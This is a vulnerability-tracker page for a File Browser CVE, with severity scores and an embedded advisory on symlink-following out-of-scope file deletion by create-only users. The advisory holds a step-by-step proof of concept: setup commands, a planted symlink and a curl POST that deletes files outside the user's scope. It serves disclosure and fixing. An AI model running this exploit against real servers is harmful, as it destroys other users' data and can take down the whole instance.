CVE-2026-55667

highpriority · track · 0EPSS 0.005 · 42 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.49% (42nd) EPSS
CVSS 8.2 · high
Is it mine?
3 products
Check your exposure
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-27

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.16, a scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate. This vulnerability is fixed in 2.63.16.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.2
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.2highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:Hsecondary · ENISA EU
v3.18.2highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:Hsecondary · security-advisories@github.comexploitability 1.8 · impact 5.8
v3.18.2highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:Hsecondary · OSV
v3.17.5highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-fmm7-x4gx-8jhrFile Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup2026-07-20ghsa · osvUS

    ## Summary A scoped, non-admin File Browser user holding only the **Create** permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 `ScopedFs` containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not. `ScopedFs.RemoveAll` is the one dereferencing operation that skips the symlink `guard` every other method enforces. The direct-upload handler runs `RemoveAll` on the user-controlled path during failed-upload cleanup, gated only by `Perm.Create`. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the `ScopedFs` boundary and the `Perm.Delete` gate. Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174 ## Details CVE-2026-54094 was fixed by a `ScopedFs` afero wrapper whose `guard()` resolves every path component with `filepath.EvalSymlinks` and rejects out-of-scope targets. `guard()` is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine: 1. `ScopedFs.Remove` and `ScopedFs.RemoveAll` skip `guard()` (`files/scoped.go:138-144`) — they call `s.base.Remove/RemoveAll` directly, unlike every other method. 2. `resourcePostHandler` does not return on a `NewFileInfo` containment error (`http/resource.go:125-180`). For an out-of-scope path `NewFileInfo` fails, but the handler only uses that for the override branch (`if err == nil`) and falls through to `writeFile`, which is correctly guard-blocked and errors — triggering the failure-cleanup `_ = d.user.Fs.RemoveAll(r.URL.Path)` (`http/resource.go:173`) on the unvalidated path. Because Go's `os.RemoveAll` follows a symlinked ancestor, `RemoveAll("link/secret.txt")` where `link -> /srv/victim` deletes `/srv/victim/secret.txt`, outside scope. The HTTP response is 403 (write blocked), masking the deletion. Of the three handlers calling `RemoveAll`, only `resourcePostHandler` is exploitable; `resourceDeleteHandler` (`:114`) and `tusDeleteHandler` (`:264`) return the `NewFileInfo` error first (shadowed, confirmed by negative controls). If the target is a directory, `RemoveAll` recursively removes out-of-scope contents. ## Precondition An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094. ## Proof of concept Root `/tmp/fb-root`, a Create-only non-admin user scoped to `/scope` with `Perm.Create=true` (and `Perm.Delete=false` — the bug must not need it), and a pre-existing symlink `/tmp/fb-root/scope/link -> /tmp/fb-out`: ```sh # 0. Layout: server root + an out-of-scope dir holding the victim file mkdir -p /tmp/fb-root /tmp/fb-out echo keep > /tmp/fb-out/victim.txt # 1. Init DB and pin the server root filebrowser -d /tmp/fb.db config init filebrowser -d /tmp/fb.db config set --root /tmp/fb-root # 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it filebrowser -d /tmp/fb.db users add victim hunter2 \ --scope=/scope \ --perm.admin=false --perm.create=true \ --perm.modify=false --perm.delete=false \ --perm.rename=false --perm.share=false --perm.execute=false # 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model # (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this. ln -s /tmp/fb-out /tmp/fb-root/scope/link # 4. Start the server filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080 # 5. Log in; the JWT is returned as the raw response body JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"victim","password":"hunter2"}') # 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403, # and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt"). curl -i -X POST -H "X-Auth: $JWT" --data 'x' \ 'http://127.0.0.1:8080/api/resources/link/victim.txt' # 7. Impact check test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED" ``` Minimal HTTP summary (Create-only user `carol`, scope `/attacker`, pre-existing symlink `/attacker/link -> /srv/victim`, file `/srv/victim/secret.txt`): ```text GET /api/raw/link/secret.txt -> 403 (read containment still holds — the v2.63.14 fix) POST /api/resources/link/secret.txt -> 403 (write blocked) => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor) ``` Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives). ## Impact A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the `ScopedFs` boundary and the `Perm.Delete` gate. If the target is a directory, `RemoveAll` recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives. ## Suggested fix 1. Add `guard()` to `ScopedFs.Remove` and `ScopedFs.RemoveAll` (`files/scoped.go`), mirroring the other methods (closes the class for all callers). 2. Defense-in-depth: in `resourcePostHandler`, return early when `NewFileInfo` returns a non-not-exist error (do not fall through to `writeFile`/cleanup on a path that failed containment). ## References - Incomplete fix of CVE-2026-54094 / `GHSA-239w-m3h6-ch8v`. - Affected code: `files/scoped.go` (`ScopedFs.Remove`, `ScopedFs.RemoveAll`), reached from `http/resource.go` (`resourcePostHandler` failure-cleanup, line 173). - Confirmed unpatched at HEAD `be23ab3` (`v2.63.15`); no open issue/PR addresses the `Remove`/`RemoveAll` gap.

  • GO-2026-6021File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup in github.com/filebrowser/filebrowser2026-07-22vendor · osvUS

    File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup in github.com/filebrowser/filebrowser

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-06-25modified 2026-06-26
08

references (3)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan